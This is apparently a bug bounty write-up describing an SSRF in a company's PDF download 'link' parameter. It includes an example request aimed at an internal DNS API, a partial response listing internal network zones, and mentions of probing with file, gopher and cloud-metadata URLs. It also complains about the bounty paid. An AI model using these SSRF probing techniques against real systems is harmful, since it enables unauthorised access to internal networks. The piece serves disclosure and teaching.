In 18 July 2022 exactly 1 year ago today, I will write about interesting and sad story in bug bounty because this company almost have 100+ cyber security employee and they have an SSRF in main domain. While I navigating on main domain I saw a documentation and when I click on it I figure out a url with link GET parameter. The url looked like;
https://www.redacted.com/redacted/downloads/pdf?link=https://redacted.com/files/something.pdfI tried protocol based attacks (like file:// data:// gopher:// etc.) first, I didn't get anything then I tried to get ec2 metadata and I got 400 BAD REQUEST then I was sure there was an ssrf here. After all I didn't find anything juicy to exploit this then I contacted , thanks to him, we had thousands of assets in internal network. Some of them, grafana, k8s, development environments, sonarqube, bitbucket, airflow, nexus, vault, alertmanager, prod environments, fisheye, prometheus, polaris, internal APIs more and more…
Request
GET /redacted/downloads/pdf?link=https://dnsapi.redacted.com HTTP/2Response
{ "infoblox_api_response": { "content": [ { "_ref": "zone_auth/REDACTED:10.0.0.0%2F8/Internal", "fqdn": "10.0.0.0/8", "view": "Internal" }, { "_ref": "zone_auth/REDACTED:10.0.0.0%2F16/Internal", "fqdn": "10.0.0.0/16", "view": "Internal" }, { "_ref": "zone_auth/REDACTED:10.1.0.0%2F16/Internal", "fqdn": "10.1.0.0/16", "view": "Internal" }, { "_ref": "zone_auth/REDACTED:10.100.0.0%2F16/Internal", "fqdn": "10.100.0.0/16", "view": "Internal" }, { "_ref": "zone_auth/REDACTED:10.101.0.0%2F16/Internal", "fqdn": "10.101.0.0/16", "view": "Internal" }, { "_ref": "zone_auth/REDACTED:10.106.0.0%2F16/Internal", "fqdn": "10.106.0.0/16", "view": "Internal" }, { "_ref": "zone_auth/REDACTED:10.107.0.0%2F16/Internal", "fqdn": "10.107.0.0/16", "view": "Internal" }, { "_ref": "zone_auth/REDACTED:10.111.0.0%2F16/Internal", "fqdn": "10.111.0.0/16", "view": "Internal" }, { "_ref": "zone_auth/REDACTED:10.115.0.0%2F16/Internal", "fqdn": "10.115.0.0/16", "view": "Internal" }, { "_ref": "zone_auth/REDACTED:10.116.0.0%2F16/Internal", "fqdn": "10.116.0.0/16", "view": "Internal" }, ... ... ...
I didn't check to see if this domain was in scope but I didn't expect this domain to be out of scope. Then I sent an email to security team and they said they would accept this vulnerability for once. So I submitted this report via Hackerone. Actually when we calculate CVSS this severity will High but I think in this situation this SSRF should be Critical. Exactly what I thought at first
Then I found a Bitbucket instance and it was contain source code of company. I've decided not to mess around here anymore.
I think they got a little scared. When they fix this bug I found a bypass and I sent this bypass to them, then they completely resolve this SSRF. What happened?
Ransomware groups please don't test outside the scope :)
They fought to avoid paying $842 more for critical. The bounty for high bug was $750 and they gave me $658… I just want to say, please care about bug bounty hunters. €700M revenue, 658$ bounty for all internal network read access. That was really good disappointed for me. Thanks a lot.
Happy hunting!